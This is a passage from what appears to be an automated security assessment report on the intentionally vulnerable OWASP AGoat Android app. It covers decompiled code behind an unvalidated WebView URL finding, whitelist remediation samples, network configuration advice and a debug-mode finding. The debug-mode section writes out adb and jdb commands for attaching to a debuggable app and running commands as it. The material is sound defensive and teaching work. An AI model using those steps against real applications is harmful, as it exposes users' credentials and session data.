        v0_3.setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1(((android.webkit.WebView) v1_2), ((android.widget.TextView)
this.findViewById(2131165367)))));
        return;
    }
```

### Finding #2

The parameter at position: `0` of the method `loadUrl` in the class `WebView` is controlled by an attacker and can be used to retrieve malicious content. Taint traced from non-reachable component: `owasp.sat.agoat.InputValidationsWebViewURLActivity` . The TaintElement is coming from: Class `InputValidationsWebViewURLActivity` Method `onCreate` Position `0` Signature `(Landroid/os/Bundle;)V` . Call trace:

```
 at android.webkit.WebView.loadUrl
at owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.onClick
at owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.onClick
at owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate
at owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.<init>
at owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate
at owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate
```

at `android.webkit.WebView.loadUrl`

```
 Unable to extract source code.
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.onClick`

```
    public final void onClick(android.view.View p4)
    {
        android.webkit.WebSettings v0_1 = this.$webview11.getSettings();
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_1, webSettings1);
        v0_1.setJavaScriptEnabled(1);
        String v1_4 = this.$url;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, url);
        this.$webview11.loadUrl(v1_4.getText().toString());
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.onClick`

```
    public final void onClick(android.view.View p4)
    {
        android.webkit.WebSettings v0_1 = this.$webview11.getSettings();
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_1, webSettings1);
        v0_1.setJavaScriptEnabled(1);
        String v1_4 = this.$url;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, url);
        this.$webview11.loadUrl(v1_4.getText().toString());
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296293);
        android.widget.Button v0_3 = ((android.widget.Button) this.findViewById(2131165288));
        android.webkit.WebView v1_2 = this.findViewById(2131165374);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, findViewById(R.id.webview1));
        v0_3.setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1(((android.webkit.WebView) v1_2), ((android.widget.TextView)
this.findViewById(2131165367)))));
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1.<init>`

```
    InputValidationsWebViewURLActivity$onCreate$1(android.webkit.WebView p1, android.widget.TextView p2)
    {
        this.$webview11 = p1;
        this.$url = p2;
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296293);
        android.widget.Button v0_3 = ((android.widget.Button) this.findViewById(2131165288));
        android.webkit.WebView v1_2 = this.findViewById(2131165374);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, findViewById(R.id.webview1));
        v0_3.setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1(((android.webkit.WebView) v1_2), ((android.widget.TextView)
this.findViewById(2131165367)))));
        return;
    }
```

at `owasp.sat.agoat.InputValidationsWebViewURLActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296293);
        android.widget.Button v0_3 = ((android.widget.Button) this.findViewById(2131165288));
        android.webkit.WebView v1_2 = this.findViewById(2131165374);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, findViewById(R.id.webview1));
        v0_3.setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsWebViewURLActivity$onCreate$1(((android.webkit.WebView) v1_2), ((android.widget.TextView)
this.findViewById(2131165367)))));
        return;
    }
```

### Recommendation

It is crucial to take proactive measures to protect your applications from URL manipulation attacks. Consider the following recommendations:

- Input Validation: Implement strict input validation mechanisms to ensure that URLs used for content fetching are properly formatted and adhere to expected patterns. This can include checking for valid URL schemes, enforcing expected domain names, and validating query parameters.
- Whitelist Approach: Maintain a whitelist of trusted domains or sources from which your application fetches content. Only allow requests to these trusted sources to minimize the risk of accessing malicious or unauthorized content.
- Content Integrity Checks: Implement mechanisms to verify the integrity of the fetched content. Calculate and compare cryptographic hashes or digital signatures of the received content against expected values to detect any modifications or tampering.

By implementing these recommendations, you can enhance the security of your applications, protect user data, and mitigate the risks associated with URL manipulation attacks.

Below is sample code implement whitelist validation:

DART

```
 import 'package:flutter/material.dart';
import 'package:http/http.dart' as http;

class MainActivity extends StatefulWidget {
  final String url;
  final List<String> allowedDomains;

  MainActivity({required this.url, required this.allowedDomains});

  @override
  _MainActivityState createState() => _MainActivityState();
}

class _MainActivityState extends State<MainActivity> {
  String? content;

  @override
  void initState() {
    super.initState();
    if (isDomainAllowed(widget.url)) {
      fetchContent(widget.url);
    } else {
      // Handle unauthorized domain
      // TODO: Implement appropriate action for unauthorized domain
    }
  }

  bool isDomainAllowed(String urlString) {
    Uri uri = Uri.parse(urlString);
    String domain = uri.host ?? '';
    return widget.allowedDomains.contains(domain);
  }

  Future<void> fetchContent(String url) async {
    try {
      final response = await http.get(Uri.parse(url));

      if (response.statusCode == 200) {
        setState(() {
          content = response.body;
        });
        // TODO: Process the fetched content here
      } else {
        // Handle error response
      }
    } catch (e) {
      // Handle network or API call error
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('Fetching URL Content'),
      ),
      body: Center(
        child: content != null
            ? Text(content!)
            : CircularProgressIndicator(),
```

```
      ),
    );
  }
}
```

SWIFT

```
import UIKit

class AppDelegate: UIResponder, UIApplicationDelegate {

    var window: UIWindow?
    let allowedDomains = ["example.com", "trusteddomain.com"] // Add your trusted domain names here

    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
{
        // Handle deep link URL if the app was launched from a URL
        if let url = launchOptions?[.url] as? URL {
            handleDeepLink(url)
        }
        return true
    }

    func application(_ application: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
        // Handle deep link URL when the app is already running
        handleDeepLink(url)
        return true
    }

    private func handleDeepLink(_ url: URL) {
        // Check if the URL scheme is "ostorlab"
        if url.scheme == "ostorlab" {
            // Extract the URL from the deep link
            if let deepLinkURL = URL(string: url.absoluteString.replacingOccurrences(of: "ostorlab://", with: "")) {
                // Verify the domain name against the whitelist
                if isDomainAllowed(deepLinkURL) {
                    // Fetch the content from the provided URL
                    fetchContent(deepLinkURL)
                } else {
                    // Handle unauthorized domain
                    // TODO: Implement appropriate action for unauthorized domain
                }
            }
        }
    }

    private func isDomainAllowed(_ url: URL) -> Bool {
        guard let host = url.host else {
            return false
        }
        return allowedDomains.contains(host)
    }

    private func fetchContent(_ url: URL) {
        URLSession.shared.dataTask(with: url) { (data, response, error) in
            if let error = error {
                print("Error fetching content: \(error.localizedDescription)")
                return
            }
            if let data = data, let content = String(data: data, encoding: .utf8) {
                // Process the fetched content here
                print("Fetched content: \(content)")
            }
        }.resume()
    }
}
```

KOTLIN

```
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.launch
```

```
import java.io.BufferedReader
import java.io.InputStreamReader
import java.net.HttpURLConnection
import java.net.URL

class MainActivity : AppCompatActivity() {
    private val allowedDomains = listOf("example.com", "trusteddomain.com") // Add your trusted domain names here

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        // Get the URL from the intent
        val intent: Intent = intent
        val url: String? = intent.getStringExtra("url")

        if (url != null) {
            // Verify the domain name against the whitelist
            if (isDomainAllowed(url)) {
                // Fetch the content from the provided URL
                GlobalScope.launch(Dispatchers.IO) {
                    val content: String? = fetchContent(url)
                    // Process the fetched content as needed
                    if (content != null) {
                        // TODO: Process the fetched content here
                    }
                }
            } else {
                // Handle unauthorized domain
                // TODO: Implement appropriate action for unauthorized domain
            }
        }
    }

    private fun isDomainAllowed(urlString: String): Boolean {
        val url = URL(urlString)
        val domain = url.host
        return allowedDomains.contains(domain)
    }

    private fun fetchContent(urlString: String): String? {
        var connection: HttpURLConnection? = null
        var reader: BufferedReader? = null

        try {
            val url = URL(urlString)
            connection = url.openConnection() as HttpURLConnection
            connection.requestMethod = "GET"

            // Check if the response code is successful
            if (connection.responseCode == HttpURLConnection.HTTP_OK) {
                reader = BufferedReader(InputStreamReader(connection.inputStream))
                val response = StringBuilder()
                var line: String?

                // Read the response line by line
                while (reader.readLine().also { line = it } != null) {
                    response.append(line)
                }

                return response.toString()
            }
        } catch (e: Exception) {
            e.printStackTrace()
        } finally {
            // Close the connection and reader
            connection?.disconnect()
            reader?.close()
        }

        return null
    }
}
```

---

HARDENING **43. Insecure Network Configuration Settings**

**CVSS v3:** 9.1

The application does not specify a network security configuration or sets insecure settings.

Android Network Security Configuration enables a declarative setting of the application network security.

When Android Network Security Configuration is missing or configured in an insecure way, it can leave application vulnerable to MiTM.

### Technical Details

#### Finding #1

`res/xml/network_security_config.xml` : The `base-config` authorizes cleartext traffic.

### Recommendation

Android Network Security Configuration is an XML file that enables a declarative setting of the application network security.

#### Add Network security configuration to your application:

1- Create a new XML file in your app's res/xml directory. Name it `network_security_config.xml` , or any other suitable name. 2- Define Security Configurations, see examples below 3- Apply Configuration to the Manifest:

XML

```xml
<application
               android:networkSecurityConfig="@xml/network_security_config"
               <!-- Other attributes -->
               >
               <!-- Other configurations -->
</application>
```

#### Network security configuration examples

- Custom Certificate Authority with support for debug only settings

XML

```xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <debug-overrides>
        <trust-anchors>
            <certificates src="@raw/debug_cas"/>
        </trust-anchors>
    </debug-overrides>
</network-security-config>
```

- Declarative opt-out for clear-text traffic

XML

```xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="false">
        <domain includeSubdomains="true">secure.example.com</domain>
    </domain-config>
</network-security-config>
```

- Declarative setting of certificate pinning keys

XML

```xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config>
        <domain includeSubdomains="true">example.com</domain>
        <pin-set expiration="2018-01-01">
            <pin digest="SHA-256">7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=</pin>
            <!-- backup pin -->
            <pin digest="SHA-256">fwza0LRMXouZHRC8Ei+4PyuldPDcf3UKgO/04cDM1oE=</pin>
        </pin-set>
```

```
    </domain-config>
</network-security-config>
```

### CVSS Vector Details

| | |
|---|---|
| CVSS V3 Vector: | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector: | Network (N) / Adjacent (A) / Local (L) / Physical (P) |
| Attack Complexity: | Low (L) / High (H) |
| Privileges Required: | None (N) / Low (L) / High (H) |
| User Interaction: | None (N) / Required (R) |
| Scope: | Changed (C) / Unchanged (U) |
| Confidentiality: | High (H) / Low (L) / None (N) |
| Integrity: | High (H) / Low (L) / None (N) |
| Availability: | High (H) / Low (L) / None (N) |

### References

- Network Security Configuration (Android developer)

---

## HARDENING 44. Debug mode enabled

**CVSS v3:** 5.4

Application is compiled with debug mode enabled.

The `android:debuggable` attribute in the `Application` that is defined in the Android Manifest determines whether the application can be debugged.

Debug mode allows attackers to access the application filesystem and attach a debugger and access sensitive data or perform malicious actions.

The following steps can be used to start a debug session using `jdb` :

- Use `adb jdwp` to identify the `PID` of the target application:

```
$adb jdwp
3466
15446
```

- Create a communication channel using `adb` and attach to it using `jdb` :

```
$adb forward tcp:7777 jdwp:$(adb shell ps | grep "package-id")
$jdb -attach localhost:7777
```

- Access the application filesystem:

```
$adb shell
$run-as package-id
$...insert malicious action...
```

An attacker can debug the application without access to source code and leverage it to perform malicious actions on behalf of the user, modify the application behavior or access sensitive data like credentials and session cookies.

### Technical Details

#### Finding #1

Debug mode is set to true, enabling attackers to access the application filesystem exposing sensitive data.

```
<application xmlns:android="http://schemas.android.com/apk/res/android" android:theme="@7F0C0005" android:label="@7F0B0036"
android:icon="@7F0A0000" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true"
android:networkSecurityConfig="@7F0E0000" android:roundIcon="@7F0A0002">
```

### Recommendation

Disable debug mode by setting the attribute `android:debuggeable` to false in the `Application` tag in the Android Manifest.

XML

```xml
<application android:icon="@drawable/icon" android:debuggable="false">
```

### CVSS Vector Details

| | |
|---|---|
| CVSS V3 Vector: | `CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` |
| Attack Vector: | **Network (N)** Adjacent (A) Local (L) Physical (P) |
| Attack Complexity: | **Low (L)** High (H) |
| Privileges Required: | None (N) **Low (L)** High (H) |
| User Interaction: | None (N) **Required (R)** |
| Scope: | **Changed (C)** Unchanged (U) |
| Confidentiality: | High (H) **Low (L)** None (N) |
| Integrity: | High (H) **Low (L)** None (N) |
| Availability: | High (H) Low (L) **None (N)** |

### References

- DRD10-J Do not release apps that are debuggable (CERT Secure Coding)

---

# Conclusion

The assessment reveals a mobile application security posture characterized by fundamental architectural deficiencies that present substantial business risk. The OWASP SAT AGOAT application demonstrates systemic failures across multiple security domains, with concentrated exposure in data protection, input validation, and component security controls.

The evaluation identified 363 vulnerabilities distributed across five assets, culminating in a high-risk rating that reflects the severity and breadth of security weaknesses. Critical findings include insecure credential storage with world-readable permissions on external storage, cryptographically weak authentication mechanisms, and multiple injection vulnerabilities enabling arbitrary code execution. These deficiencies collectively expose the organization to credential compromise, unauthorized data access, and potential system-level exploitation.

A notable disparity exists between the assessed mobile application and its supporting infrastructure. While perimeter defenses demonstrate mature security implementation—including consistent Web Application Firewall deployment, proper TLS enforcement, and sound DNS configuration—the mobile application itself exhibits foundational secure development lifecycle failures. This divergence suggests resource prioritization toward network-layer protection at the expense of application-layer controls, creating a persistent attack surface that perimeter defenses cannot adequately address.

The assessment methodology employed comprehensive static and dynamic analysis techniques, including source code review, runtime exploitation verification, and cross-context attack validation. Testing confirmed theoretical vulnerabilities through practical proof-of-concept demonstrations, establishing the real-world exploitability of identified weaknesses.

Overall, the results indicate a security maturity gap requiring strategic attention. The concentration of high-severity vulnerabilities in core security functions—authentication, authorization, and data protection—demonstrates the need for fundamental architectural improvements. Addressing these deficiencies will require sustained investment in secure development practices, security architecture review, and proactive security governance to align mobile application security posture with organizational risk tolerance and regulatory compliance requirements.